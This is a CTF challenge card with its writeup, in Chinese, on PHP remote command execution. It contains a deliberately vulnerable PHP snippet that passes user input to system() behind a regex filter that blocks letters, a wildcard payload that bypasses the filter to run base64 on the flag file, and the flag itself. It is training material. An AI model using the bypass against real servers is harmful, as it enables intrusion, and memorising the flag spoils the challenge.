[题目信息]:
题目名称 | 题目难度 |
---|---|
代码执行-base64 | 2 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{pAzvT4j-yAuZ-SKg1KtOXMPOYTx7TI7t}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5022
[题目writeup]:
<?php
// 你们在炫技吗?
if(isset($_GET[‘c’])){
$c=$_GET[‘c’];
if(!preg_match("/;|[a-z]|`|%|\x09|\x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(FILE);
}
- linux下自带base64编码,类似于bzip2,不同于bzip2的是,bzip是压缩解压命令,base64是编码解码命令;
- base64一般默认在/bin/base64或者/usr/bin/base64目录下
- 使用通配符?以及未过滤的数字匹配base64
payload
?c=/???/????64 ????.???